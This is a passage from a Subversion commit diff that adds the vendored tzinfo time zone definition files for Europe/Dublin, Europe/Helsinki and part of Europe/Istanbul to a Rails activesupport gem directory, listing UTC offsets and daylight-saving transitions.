+          tz.transition 2029, 10, :o2, 1887843600
+          tz.transition 2030, 3, :o3, 1901149200
+          tz.transition 2030, 10, :o2, 1919293200
+          tz.transition 2031, 3, :o3, 1932598800
+          tz.transition 2031, 10, :o2, 1950742800
+          tz.transition 2032, 3, :o3, 1964048400
+          tz.transition 2032, 10, :o2, 1982797200
+          tz.transition 2033, 3, :o3, 1995498000
+          tz.transition 2033, 10, :o2, 2014246800
+          tz.transition 2034, 3, :o3, 2026947600
+          tz.transition 2034, 10, :o2, 2045696400
+          tz.transition 2035, 3, :o3, 2058397200
+          tz.transition 2035, 10, :o2, 2077146000
+          tz.transition 2036, 3, :o3, 2090451600
+          tz.transition 2036, 10, :o2, 2108595600
+          tz.transition 2037, 3, :o3, 2121901200
+          tz.transition 2037, 10, :o2, 2140045200
+          tz.transition 2038, 3, :o3, 59172253, 24
+          tz.transition 2038, 10, :o2, 59177461, 24
+          tz.transition 2039, 3, :o3, 59180989, 24
+          tz.transition 2039, 10, :o2, 59186197, 24
+          tz.transition 2040, 3, :o3, 59189725, 24
+          tz.transition 2040, 10, :o2, 59194933, 24
+          tz.transition 2041, 3, :o3, 59198629, 24
+          tz.transition 2041, 10, :o2, 59203669, 24
+          tz.transition 2042, 3, :o3, 59207365, 24
+          tz.transition 2042, 10, :o2, 59212405, 24
+          tz.transition 2043, 3, :o3, 59216101, 24
+          tz.transition 2043, 10, :o2, 59221141, 24
+          tz.transition 2044, 3, :o3, 59224837, 24
+          tz.transition 2044, 10, :o2, 59230045, 24
+          tz.transition 2045, 3, :o3, 59233573, 24
+          tz.transition 2045, 10, :o2, 59238781, 24
+          tz.transition 2046, 3, :o3, 59242309, 24
+          tz.transition 2046, 10, :o2, 59247517, 24
+          tz.transition 2047, 3, :o3, 59251213, 24
+          tz.transition 2047, 10, :o2, 59256253, 24
+          tz.transition 2048, 3, :o3, 59259949, 24
+          tz.transition 2048, 10, :o2, 59264989, 24
+          tz.transition 2049, 3, :o3, 59268685, 24
+          tz.transition 2049, 10, :o2, 59273893, 24
+          tz.transition 2050, 3, :o3, 59277421, 24
+          tz.transition 2050, 10, :o2, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Dublin.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Dublin.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Dublin.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,276 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Dublin
+        include TimezoneDefinition
+        
+        timezone 'Europe/Dublin' do |tz|
+          tz.offset :o0, -1500, 0, :LMT
+          tz.offset :o1, -1521, 0, :DMT
+          tz.offset :o2, -1521, 3600, :IST
+          tz.offset :o3, 0, 0, :GMT
+          tz.offset :o4, 0, 3600, :BST
+          tz.offset :o5, 0, 3600, :IST
+          tz.offset :o6, 3600, 0, :IST
+          
+          tz.transition 1880, 8, :o1, 693483701, 288
+          tz.transition 1916, 5, :o2, 7747214723, 3200
+          tz.transition 1916, 10, :o3, 7747640323, 3200
+          tz.transition 1917, 4, :o4, 29055919, 12
+          tz.transition 1917, 9, :o3, 29057863, 12
+          tz.transition 1918, 3, :o4, 29060119, 12
+          tz.transition 1918, 9, :o3, 29062399, 12
+          tz.transition 1919, 3, :o4, 29064571, 12
+          tz.transition 1919, 9, :o3, 29066767, 12
+          tz.transition 1920, 3, :o4, 29068939, 12
+          tz.transition 1920, 10, :o3, 29071471, 12
+          tz.transition 1921, 4, :o4, 29073391, 12
+          tz.transition 1921, 10, :o3, 29075587, 12
+          tz.transition 1922, 3, :o5, 29077675, 12
+          tz.transition 1922, 10, :o3, 29080027, 12
+          tz.transition 1923, 4, :o5, 29082379, 12
+          tz.transition 1923, 9, :o3, 29084143, 12
+          tz.transition 1924, 4, :o5, 29086663, 12
+          tz.transition 1924, 9, :o3, 29088595, 12
+          tz.transition 1925, 4, :o5, 29091115, 12
+          tz.transition 1925, 10, :o3, 29093131, 12
+          tz.transition 1926, 4, :o5, 29095483, 12
+          tz.transition 1926, 10, :o3, 29097499, 12
+          tz.transition 1927, 4, :o5, 29099767, 12
+          tz.transition 1927, 10, :o3, 29101867, 12
+          tz.transition 1928, 4, :o5, 29104303, 12
+          tz.transition 1928, 10, :o3, 29106319, 12
+          tz.transition 1929, 4, :o5, 29108671, 12
+          tz.transition 1929, 10, :o3, 29110687, 12
+          tz.transition 1930, 4, :o5, 29112955, 12
+          tz.transition 1930, 10, :o3, 29115055, 12
+          tz.transition 1931, 4, :o5, 29117407, 12
+          tz.transition 1931, 10, :o3, 29119423, 12
+          tz.transition 1932, 4, :o5, 29121775, 12
+          tz.transition 1932, 10, :o3, 29123791, 12
+          tz.transition 1933, 4, :o5, 29126059, 12
+          tz.transition 1933, 10, :o3, 29128243, 12
+          tz.transition 1934, 4, :o5, 29130595, 12
+          tz.transition 1934, 10, :o3, 29132611, 12
+          tz.transition 1935, 4, :o5, 29134879, 12
+          tz.transition 1935, 10, :o3, 29136979, 12
+          tz.transition 1936, 4, :o5, 29139331, 12
+          tz.transition 1936, 10, :o3, 29141347, 12
+          tz.transition 1937, 4, :o5, 29143699, 12
+          tz.transition 1937, 10, :o3, 29145715, 12
+          tz.transition 1938, 4, :o5, 29147983, 12
+          tz.transition 1938, 10, :o3, 29150083, 12
+          tz.transition 1939, 4, :o5, 29152435, 12
+          tz.transition 1939, 11, :o3, 29155039, 12
+          tz.transition 1940, 2, :o5, 29156215, 12
+          tz.transition 1946, 10, :o3, 58370389, 24
+          tz.transition 1947, 3, :o5, 29187127, 12
+          tz.transition 1947, 11, :o3, 58379797, 24
+          tz.transition 1948, 4, :o5, 29191915, 12
+          tz.transition 1948, 10, :o3, 29194267, 12
+          tz.transition 1949, 4, :o5, 29196115, 12
+          tz.transition 1949, 10, :o3, 29198635, 12
+          tz.transition 1950, 4, :o5, 29200651, 12
+          tz.transition 1950, 10, :o3, 29202919, 12
+          tz.transition 1951, 4, :o5, 29205019, 12
+          tz.transition 1951, 10, :o3, 29207287, 12
+          tz.transition 1952, 4, :o5, 29209471, 12
+          tz.transition 1952, 10, :o3, 29211739, 12
+          tz.transition 1953, 4, :o5, 29213839, 12
+          tz.transition 1953, 10, :o3, 29215855, 12
+          tz.transition 1954, 4, :o5, 29218123, 12
+          tz.transition 1954, 10, :o3, 29220223, 12
+          tz.transition 1955, 4, :o5, 29222575, 12
+          tz.transition 1955, 10, :o3, 29224591, 12
+          tz.transition 1956, 4, :o5, 29227027, 12
+          tz.transition 1956, 10, :o3, 29229043, 12
+          tz.transition 1957, 4, :o5, 29231311, 12
+          tz.transition 1957, 10, :o3, 29233411, 12
+          tz.transition 1958, 4, :o5, 29235763, 12
+          tz.transition 1958, 10, :o3, 29237779, 12
+          tz.transition 1959, 4, :o5, 29240131, 12
+          tz.transition 1959, 10, :o3, 29242147, 12
+          tz.transition 1960, 4, :o5, 29244415, 12
+          tz.transition 1960, 10, :o3, 29246515, 12
+          tz.transition 1961, 3, :o5, 29248615, 12
+          tz.transition 1961, 10, :o3, 29251219, 12
+          tz.transition 1962, 3, :o5, 29252983, 12
+          tz.transition 1962, 10, :o3, 29255587, 12
+          tz.transition 1963, 3, :o5, 29257435, 12
+          tz.transition 1963, 10, :o3, 29259955, 12
+          tz.transition 1964, 3, :o5, 29261719, 12
+          tz.transition 1964, 10, :o3, 29264323, 12
+          tz.transition 1965, 3, :o5, 29266087, 12
+          tz.transition 1965, 10, :o3, 29268691, 12
+          tz.transition 1966, 3, :o5, 29270455, 12
+          tz.transition 1966, 10, :o3, 29273059, 12
+          tz.transition 1967, 3, :o5, 29274823, 12
+          tz.transition 1967, 10, :o3, 29277511, 12
+          tz.transition 1968, 2, :o5, 29278855, 12
+          tz.transition 1968, 10, :o6, 58563755, 24
+          tz.transition 1971, 10, :o3, 57722400
+          tz.transition 1972, 3, :o5, 69818400
+          tz.transition 1972, 10, :o3, 89172000
+          tz.transition 1973, 3, :o5, 101268000
+          tz.transition 1973, 10, :o3, 120621600
+          tz.transition 1974, 3, :o5, 132717600
+          tz.transition 1974, 10, :o3, 152071200
+          tz.transition 1975, 3, :o5, 164167200
+          tz.transition 1975, 10, :o3, 183520800
+          tz.transition 1976, 3, :o5, 196221600
+          tz.transition 1976, 10, :o3, 214970400
+          tz.transition 1977, 3, :o5, 227671200
+          tz.transition 1977, 10, :o3, 246420000
+          tz.transition 1978, 3, :o5, 259120800
+          tz.transition 1978, 10, :o3, 278474400
+          tz.transition 1979, 3, :o5, 290570400
+          tz.transition 1979, 10, :o3, 309924000
+          tz.transition 1980, 3, :o5, 322020000
+          tz.transition 1980, 10, :o3, 341373600
+          tz.transition 1981, 3, :o5, 354675600
+          tz.transition 1981, 10, :o3, 372819600
+          tz.transition 1982, 3, :o5, 386125200
+          tz.transition 1982, 10, :o3, 404269200
+          tz.transition 1983, 3, :o5, 417574800
+          tz.transition 1983, 10, :o3, 435718800
+          tz.transition 1984, 3, :o5, 449024400
+          tz.transition 1984, 10, :o3, 467773200
+          tz.transition 1985, 3, :o5, 481078800
+          tz.transition 1985, 10, :o3, 499222800
+          tz.transition 1986, 3, :o5, 512528400
+          tz.transition 1986, 10, :o3, 530672400
+          tz.transition 1987, 3, :o5, 543978000
+          tz.transition 1987, 10, :o3, 562122000
+          tz.transition 1988, 3, :o5, 575427600
+          tz.transition 1988, 10, :o3, 593571600
+          tz.transition 1989, 3, :o5, 606877200
+          tz.transition 1989, 10, :o3, 625626000
+          tz.transition 1990, 3, :o5, 638326800
+          tz.transition 1990, 10, :o3, 657075600
+          tz.transition 1991, 3, :o5, 670381200
+          tz.transition 1991, 10, :o3, 688525200
+          tz.transition 1992, 3, :o5, 701830800
+          tz.transition 1992, 10, :o3, 719974800
+          tz.transition 1993, 3, :o5, 733280400
+          tz.transition 1993, 10, :o3, 751424400
+          tz.transition 1994, 3, :o5, 764730000
+          tz.transition 1994, 10, :o3, 782874000
+          tz.transition 1995, 3, :o5, 796179600
+          tz.transition 1995, 10, :o3, 814323600
+          tz.transition 1996, 3, :o5, 828234000
+          tz.transition 1996, 10, :o3, 846378000
+          tz.transition 1997, 3, :o5, 859683600
+          tz.transition 1997, 10, :o3, 877827600
+          tz.transition 1998, 3, :o5, 891133200
+          tz.transition 1998, 10, :o3, 909277200
+          tz.transition 1999, 3, :o5, 922582800
+          tz.transition 1999, 10, :o3, 941331600
+          tz.transition 2000, 3, :o5, 954032400
+          tz.transition 2000, 10, :o3, 972781200
+          tz.transition 2001, 3, :o5, 985482000
+          tz.transition 2001, 10, :o3, 1004230800
+          tz.transition 2002, 3, :o5, 1017536400
+          tz.transition 2002, 10, :o3, 1035680400
+          tz.transition 2003, 3, :o5, 1048986000
+          tz.transition 2003, 10, :o3, 1067130000
+          tz.transition 2004, 3, :o5, 1080435600
+          tz.transition 2004, 10, :o3, 1099184400
+          tz.transition 2005, 3, :o5, 1111885200
+          tz.transition 2005, 10, :o3, 1130634000
+          tz.transition 2006, 3, :o5, 1143334800
+          tz.transition 2006, 10, :o3, 1162083600
+          tz.transition 2007, 3, :o5, 1174784400
+          tz.transition 2007, 10, :o3, 1193533200
+          tz.transition 2008, 3, :o5, 1206838800
+          tz.transition 2008, 10, :o3, 1224982800
+          tz.transition 2009, 3, :o5, 1238288400
+          tz.transition 2009, 10, :o3, 1256432400
+          tz.transition 2010, 3, :o5, 1269738000
+          tz.transition 2010, 10, :o3, 1288486800
+          tz.transition 2011, 3, :o5, 1301187600
+          tz.transition 2011, 10, :o3, 1319936400
+          tz.transition 2012, 3, :o5, 1332637200
+          tz.transition 2012, 10, :o3, 1351386000
+          tz.transition 2013, 3, :o5, 1364691600
+          tz.transition 2013, 10, :o3, 1382835600
+          tz.transition 2014, 3, :o5, 1396141200
+          tz.transition 2014, 10, :o3, 1414285200
+          tz.transition 2015, 3, :o5, 1427590800
+          tz.transition 2015, 10, :o3, 1445734800
+          tz.transition 2016, 3, :o5, 1459040400
+          tz.transition 2016, 10, :o3, 1477789200
+          tz.transition 2017, 3, :o5, 1490490000
+          tz.transition 2017, 10, :o3, 1509238800
+          tz.transition 2018, 3, :o5, 1521939600
+          tz.transition 2018, 10, :o3, 1540688400
+          tz.transition 2019, 3, :o5, 1553994000
+          tz.transition 2019, 10, :o3, 1572138000
+          tz.transition 2020, 3, :o5, 1585443600
+          tz.transition 2020, 10, :o3, 1603587600
+          tz.transition 2021, 3, :o5, 1616893200
+          tz.transition 2021, 10, :o3, 1635642000
+          tz.transition 2022, 3, :o5, 1648342800
+          tz.transition 2022, 10, :o3, 1667091600
+          tz.transition 2023, 3, :o5, 1679792400
+          tz.transition 2023, 10, :o3, 1698541200
+          tz.transition 2024, 3, :o5, 1711846800
+          tz.transition 2024, 10, :o3, 1729990800
+          tz.transition 2025, 3, :o5, 1743296400
+          tz.transition 2025, 10, :o3, 1761440400
+          tz.transition 2026, 3, :o5, 1774746000
+          tz.transition 2026, 10, :o3, 1792890000
+          tz.transition 2027, 3, :o5, 1806195600
+          tz.transition 2027, 10, :o3, 1824944400
+          tz.transition 2028, 3, :o5, 1837645200
+          tz.transition 2028, 10, :o3, 1856394000
+          tz.transition 2029, 3, :o5, 1869094800
+          tz.transition 2029, 10, :o3, 1887843600
+          tz.transition 2030, 3, :o5, 1901149200
+          tz.transition 2030, 10, :o3, 1919293200
+          tz.transition 2031, 3, :o5, 1932598800
+          tz.transition 2031, 10, :o3, 1950742800
+          tz.transition 2032, 3, :o5, 1964048400
+          tz.transition 2032, 10, :o3, 1982797200
+          tz.transition 2033, 3, :o5, 1995498000
+          tz.transition 2033, 10, :o3, 2014246800
+          tz.transition 2034, 3, :o5, 2026947600
+          tz.transition 2034, 10, :o3, 2045696400
+          tz.transition 2035, 3, :o5, 2058397200
+          tz.transition 2035, 10, :o3, 2077146000
+          tz.transition 2036, 3, :o5, 2090451600
+          tz.transition 2036, 10, :o3, 2108595600
+          tz.transition 2037, 3, :o5, 2121901200
+          tz.transition 2037, 10, :o3, 2140045200
+          tz.transition 2038, 3, :o5, 59172253, 24
+          tz.transition 2038, 10, :o3, 59177461, 24
+          tz.transition 2039, 3, :o5, 59180989, 24
+          tz.transition 2039, 10, :o3, 59186197, 24
+          tz.transition 2040, 3, :o5, 59189725, 24
+          tz.transition 2040, 10, :o3, 59194933, 24
+          tz.transition 2041, 3, :o5, 59198629, 24
+          tz.transition 2041, 10, :o3, 59203669, 24
+          tz.transition 2042, 3, :o5, 59207365, 24
+          tz.transition 2042, 10, :o3, 59212405, 24
+          tz.transition 2043, 3, :o5, 59216101, 24
+          tz.transition 2043, 10, :o3, 59221141, 24
+          tz.transition 2044, 3, :o5, 59224837, 24
+          tz.transition 2044, 10, :o3, 59230045, 24
+          tz.transition 2045, 3, :o5, 59233573, 24
+          tz.transition 2045, 10, :o3, 59238781, 24
+          tz.transition 2046, 3, :o5, 59242309, 24
+          tz.transition 2046, 10, :o3, 59247517, 24
+          tz.transition 2047, 3, :o5, 59251213, 24
+          tz.transition 2047, 10, :o3, 59256253, 24
+          tz.transition 2048, 3, :o5, 59259949, 24
+          tz.transition 2048, 10, :o3, 59264989, 24
+          tz.transition 2049, 3, :o5, 59268685, 24
+          tz.transition 2049, 10, :o3, 59273893, 24
+          tz.transition 2050, 3, :o5, 59277421, 24
+          tz.transition 2050, 10, :o3, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Helsinki.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Helsinki.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Helsinki.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,163 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Helsinki
+        include TimezoneDefinition
+        
+        timezone 'Europe/Helsinki' do |tz|
+          tz.offset :o0, 5992, 0, :LMT
+          tz.offset :o1, 5992, 0, :HMT
+          tz.offset :o2, 7200, 0, :EET
+          tz.offset :o3, 7200, 3600, :EEST
+          
+          tz.transition 1878, 5, :o1, 25997062651, 10800
+          tz.transition 1921, 4, :o2, 26166352651, 10800
+          tz.transition 1942, 4, :o3, 29165429, 12
+          tz.transition 1942, 10, :o2, 19445083, 8
+          tz.transition 1981, 3, :o3, 354675600
+          tz.transition 1981, 9, :o2, 370400400
+          tz.transition 1982, 3, :o3, 386125200
+          tz.transition 1982, 9, :o2, 401850000
+          tz.transition 1983, 3, :o3, 417574800
+          tz.transition 1983, 9, :o2, 433299600
+          tz.transition 1984, 3, :o3, 449024400
+          tz.transition 1984, 9, :o2, 465354000
+          tz.transition 1985, 3, :o3, 481078800
+          tz.transition 1985, 9, :o2, 496803600
+          tz.transition 1986, 3, :o3, 512528400
+          tz.transition 1986, 9, :o2, 528253200
+          tz.transition 1987, 3, :o3, 543978000
+          tz.transition 1987, 9, :o2, 559702800
+          tz.transition 1988, 3, :o3, 575427600
+          tz.transition 1988, 9, :o2, 591152400
+          tz.transition 1989, 3, :o3, 606877200
+          tz.transition 1989, 9, :o2, 622602000
+          tz.transition 1990, 3, :o3, 638326800
+          tz.transition 1990, 9, :o2, 654656400
+          tz.transition 1991, 3, :o3, 670381200
+          tz.transition 1991, 9, :o2, 686106000
+          tz.transition 1992, 3, :o3, 701830800
+          tz.transition 1992, 9, :o2, 717555600
+          tz.transition 1993, 3, :o3, 733280400
+          tz.transition 1993, 9, :o2, 749005200
+          tz.transition 1994, 3, :o3, 764730000
+          tz.transition 1994, 9, :o2, 780454800
+          tz.transition 1995, 3, :o3, 796179600
+          tz.transition 1995, 9, :o2, 811904400
+          tz.transition 1996, 3, :o3, 828234000
+          tz.transition 1996, 10, :o2, 846378000
+          tz.transition 1997, 3, :o3, 859683600
+          tz.transition 1997, 10, :o2, 877827600
+          tz.transition 1998, 3, :o3, 891133200
+          tz.transition 1998, 10, :o2, 909277200
+          tz.transition 1999, 3, :o3, 922582800
+          tz.transition 1999, 10, :o2, 941331600
+          tz.transition 2000, 3, :o3, 954032400
+          tz.transition 2000, 10, :o2, 972781200
+          tz.transition 2001, 3, :o3, 985482000
+          tz.transition 2001, 10, :o2, 1004230800
+          tz.transition 2002, 3, :o3, 1017536400
+          tz.transition 2002, 10, :o2, 1035680400
+          tz.transition 2003, 3, :o3, 1048986000
+          tz.transition 2003, 10, :o2, 1067130000
+          tz.transition 2004, 3, :o3, 1080435600
+          tz.transition 2004, 10, :o2, 1099184400
+          tz.transition 2005, 3, :o3, 1111885200
+          tz.transition 2005, 10, :o2, 1130634000
+          tz.transition 2006, 3, :o3, 1143334800
+          tz.transition 2006, 10, :o2, 1162083600
+          tz.transition 2007, 3, :o3, 1174784400
+          tz.transition 2007, 10, :o2, 1193533200
+          tz.transition 2008, 3, :o3, 1206838800
+          tz.transition 2008, 10, :o2, 1224982800
+          tz.transition 2009, 3, :o3, 1238288400
+          tz.transition 2009, 10, :o2, 1256432400
+          tz.transition 2010, 3, :o3, 1269738000
+          tz.transition 2010, 10, :o2, 1288486800
+          tz.transition 2011, 3, :o3, 1301187600
+          tz.transition 2011, 10, :o2, 1319936400
+          tz.transition 2012, 3, :o3, 1332637200
+          tz.transition 2012, 10, :o2, 1351386000
+          tz.transition 2013, 3, :o3, 1364691600
+          tz.transition 2013, 10, :o2, 1382835600
+          tz.transition 2014, 3, :o3, 1396141200
+          tz.transition 2014, 10, :o2, 1414285200
+          tz.transition 2015, 3, :o3, 1427590800
+          tz.transition 2015, 10, :o2, 1445734800
+          tz.transition 2016, 3, :o3, 1459040400
+          tz.transition 2016, 10, :o2, 1477789200
+          tz.transition 2017, 3, :o3, 1490490000
+          tz.transition 2017, 10, :o2, 1509238800
+          tz.transition 2018, 3, :o3, 1521939600
+          tz.transition 2018, 10, :o2, 1540688400
+          tz.transition 2019, 3, :o3, 1553994000
+          tz.transition 2019, 10, :o2, 1572138000
+          tz.transition 2020, 3, :o3, 1585443600
+          tz.transition 2020, 10, :o2, 1603587600
+          tz.transition 2021, 3, :o3, 1616893200
+          tz.transition 2021, 10, :o2, 1635642000
+          tz.transition 2022, 3, :o3, 1648342800
+          tz.transition 2022, 10, :o2, 1667091600
+          tz.transition 2023, 3, :o3, 1679792400
+          tz.transition 2023, 10, :o2, 1698541200
+          tz.transition 2024, 3, :o3, 1711846800
+          tz.transition 2024, 10, :o2, 1729990800
+          tz.transition 2025, 3, :o3, 1743296400
+          tz.transition 2025, 10, :o2, 1761440400
+          tz.transition 2026, 3, :o3, 1774746000
+          tz.transition 2026, 10, :o2, 1792890000
+          tz.transition 2027, 3, :o3, 1806195600
+          tz.transition 2027, 10, :o2, 1824944400
+          tz.transition 2028, 3, :o3, 1837645200
+          tz.transition 2028, 10, :o2, 1856394000
+          tz.transition 2029, 3, :o3, 1869094800
+          tz.transition 2029, 10, :o2, 1887843600
+          tz.transition 2030, 3, :o3, 1901149200
+          tz.transition 2030, 10, :o2, 1919293200
+          tz.transition 2031, 3, :o3, 1932598800
+          tz.transition 2031, 10, :o2, 1950742800
+          tz.transition 2032, 3, :o3, 1964048400
+          tz.transition 2032, 10, :o2, 1982797200
+          tz.transition 2033, 3, :o3, 1995498000
+          tz.transition 2033, 10, :o2, 2014246800
+          tz.transition 2034, 3, :o3, 2026947600
+          tz.transition 2034, 10, :o2, 2045696400
+          tz.transition 2035, 3, :o3, 2058397200
+          tz.transition 2035, 10, :o2, 2077146000
+          tz.transition 2036, 3, :o3, 2090451600
+          tz.transition 2036, 10, :o2, 2108595600
+          tz.transition 2037, 3, :o3, 2121901200
+          tz.transition 2037, 10, :o2, 2140045200
+          tz.transition 2038, 3, :o3, 59172253, 24
+          tz.transition 2038, 10, :o2, 59177461, 24
+          tz.transition 2039, 3, :o3, 59180989, 24
+          tz.transition 2039, 10, :o2, 59186197, 24
+          tz.transition 2040, 3, :o3, 59189725, 24
+          tz.transition 2040, 10, :o2, 59194933, 24
+          tz.transition 2041, 3, :o3, 59198629, 24
+          tz.transition 2041, 10, :o2, 59203669, 24
+          tz.transition 2042, 3, :o3, 59207365, 24
+          tz.transition 2042, 10, :o2, 59212405, 24
+          tz.transition 2043, 3, :o3, 59216101, 24
+          tz.transition 2043, 10, :o2, 59221141, 24
+          tz.transition 2044, 3, :o3, 59224837, 24
+          tz.transition 2044, 10, :o2, 59230045, 24
+          tz.transition 2045, 3, :o3, 59233573, 24
+          tz.transition 2045, 10, :o2, 59238781, 24
+          tz.transition 2046, 3, :o3, 59242309, 24
+          tz.transition 2046, 10, :o2, 59247517, 24
+          tz.transition 2047, 3, :o3, 59251213, 24
+          tz.transition 2047, 10, :o2, 59256253, 24
+          tz.transition 2048, 3, :o3, 59259949, 24
+          tz.transition 2048, 10, :o2, 59264989, 24
+          tz.transition 2049, 3, :o3, 59268685, 24
+          tz.transition 2049, 10, :o2, 59273893, 24
+          tz.transition 2050, 3, :o3, 59277421, 24
+          tz.transition 2050, 10, :o2, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Istanbul.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Istanbul.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Istanbul.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,218 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Istanbul
+        include TimezoneDefinition
+        
+        timezone 'Europe/Istanbul' do |tz|
+          tz.offset :o0, 6952, 0, :LMT
+          tz.offset :o1, 7016, 0, :IMT
+          tz.offset :o2, 7200, 0, :EET
+          tz.offset :o3, 7200, 3600, :EEST
+          tz.offset :o4, 10800, 3600, :TRST
+          tz.offset :o5, 10800, 0, :TRT
+          
+          tz.transition 1879, 12, :o1, 26003326531, 10800
+          tz.transition 1910, 9, :o2, 26124610523, 10800
+          tz.transition 1916, 4, :o3, 29051813, 12
+          tz.transition 1916, 9, :o2, 19369099, 8
+          tz.transition 1920, 3, :o3, 29068937, 12
+          tz.transition 1920, 10, :o2, 19380979, 8
+          tz.transition 1921, 4, :o3, 29073389, 12
+          tz.transition 1921, 10, :o2, 19383723, 8
+          tz.transition 1922, 3, :o3, 29077673, 12
+          tz.transition 1922, 10, :o2, 19386683, 8
+          tz.transition 1924, 5, :o3, 29087021, 12
+          tz.transition 1924, 9, :o2, 19392475, 8
+          tz.transition 1925, 4, :o3, 29091257, 12
+          tz.transition 1925, 9, :o2, 19395395, 8
+          tz.transition 1940, 6, :o3, 29157725, 12
+          tz.transition 1940, 10, :o2, 19439259, 8
+          tz.transition 1940, 11, :o3, 29159573, 12
+          tz.transition 1941, 9, :o2, 19442067, 8
+          tz.transition 1942, 3, :o3, 29165405, 12
+          tz.transition 1942, 10, :o2, 19445315, 8
+          tz.transition 1945, 4, :o3, 29178569, 12
+          tz.transition 1945, 10, :o2, 19453891, 8
+          tz.transition 1946, 5, :o3, 29183669, 12
+          tz.transition 1946, 9, :o2, 19456755, 8
+          tz.transition 1947, 4, :o3, 29187545, 12
+          tz.transition 1947, 10, :o2, 19459707, 8
+          tz.transition 1948, 4, :o3, 29191913, 12
+          tz.transition 1948, 10, :o2, 19462619, 8
+          tz.transition 1949, 4, :o3, 29196197, 12
+          tz.transition 1949, 10, :o2, 19465531, 8
+          tz.transition 1950, 4, :o3, 29200685, 12
+          tz.transition 1950, 10, :o2, 19468499, 8
+          tz.transition 1951, 4, :o3, 29205101, 12
+          tz.transition 1951, 10, :o2, 19471419, 8
+          tz.transition 1962, 7, :o3, 29254325, 12
+          tz.transition 1962, 10, :o2, 19503563, 8
+          tz.transition 1964, 5, :o3, 29262365, 12
+          tz.transition 1964, 9, :o2, 19509355, 8
+          tz.transition 1970, 5, :o3, 10533600
+          tz.transition 1970, 10, :o2, 23835600
+          tz.transition 1971, 5, :o3, 41983200
+          tz.transition 1971, 10, :o2, 55285200
+          tz.transition 1972, 5, :o3, 74037600
+          tz.transition 1972, 10, :o2, 87339600
+          tz.transition 1973, 6, :o3, 107910000
+          tz.transition 1973, 11, :o2, 121219200
+          tz.transition 1974, 3, :o3, 133920000
+          tz.transition 1974, 11, :o2, 152676000
+          tz.transition 1975, 3, :o3, 165362400
+          tz.transition 1975, 10, :o2, 183502800
+          tz.transition 1976, 5, :o3, 202428000
+          tz.transition 1976, 10, :o2, 215557200
+          tz.transition 1977, 4, :o3, 228866400
+          tz.transition 1977, 10, :o2, 245797200
+          tz.transition 1978, 4, :o3, 260316000
+          tz.transition 1978, 10, :o4, 277246800
+          tz.transition 1979, 10, :o5, 308779200
+          tz.transition 1980, 4, :o4, 323827200
+          tz.transition 1980, 10, :o5, 340228800
+          tz.transition 1981, 3, :o4, 354672000
+          tz.transition 1981, 10, :o5, 371678400
+          tz.transition 1982, 3, :o4, 386121600
+          tz.transition 1982, 10, :o5, 403128000
+          tz.transition 1983, 7, :o4, 428446800
+          tz.transition 1983, 10, :o5, 433886400
+          tz.transition 1985, 4, :o3, 482792400
+          tz.transition 1985, 9, :o2, 496702800
+          tz.transition 1986, 3, :o3, 512524800
+          tz.transition 1986, 9, :o2, 528249600
+          tz.transition 1987, 3, :o3, 543974400
+          tz.transition 1987, 9, :o2, 559699200
+          tz.transition 1988, 3, :o3, 575424000
+          tz.transition 1988, 9, :o2, 591148800
+          tz.transition 1989, 3, :o3, 606873600
+          tz.transition 1989, 9, :o2, 622598400
+          tz.transition 1990, 3, :o3, 638323200
+          tz.transition 1990, 9, :o2, 654652800
+          tz.transition 1991, 3, :o3, 670374000
+          tz.transition 1991, 9, :o2, 686098800
+          tz.transition 1992, 3, :o3, 701823600
+          tz.transition 1992, 9, :o2, 717548400
+          tz.transition 1993, 3, :o3, 733273200
+          tz.transition 1993, 9, :o2, 748998000
+          tz.transition 1994, 3, :o3, 764722800
+          tz.transition 1994, 9, :o2, 780447600
+          tz.transition 1995, 3, :o3, 796172400
+          tz.transition 1995, 9, :o2, 811897200
+          tz.transition 1996, 3, :o3, 828226800
+          tz.transition 1996, 10, :o2, 846370800
+          tz.transition 1997, 3, :o3, 859676400
+          tz.transition 1997, 10, :o2, 877820400
+          tz.transition 1998, 3, :o3, 891126000
+          tz.transition 1998, 10, :o2, 909270000
+          tz.transition 1999, 3, :o3, 922575600
+          tz.transition 1999, 10, :o2, 941324400
+          tz.transition 2000, 3, :o3, 954025200
+          tz.transition 2000, 10, :o2, 972774000
+          tz.transition 2001, 3, :o3, 985474800
+          tz.transition 2001, 10, :o2, 1004223600
+          tz.transition 2002, 3, :o3, 1017529200
+          tz.transition 2002, 10, :o2, 1035673200
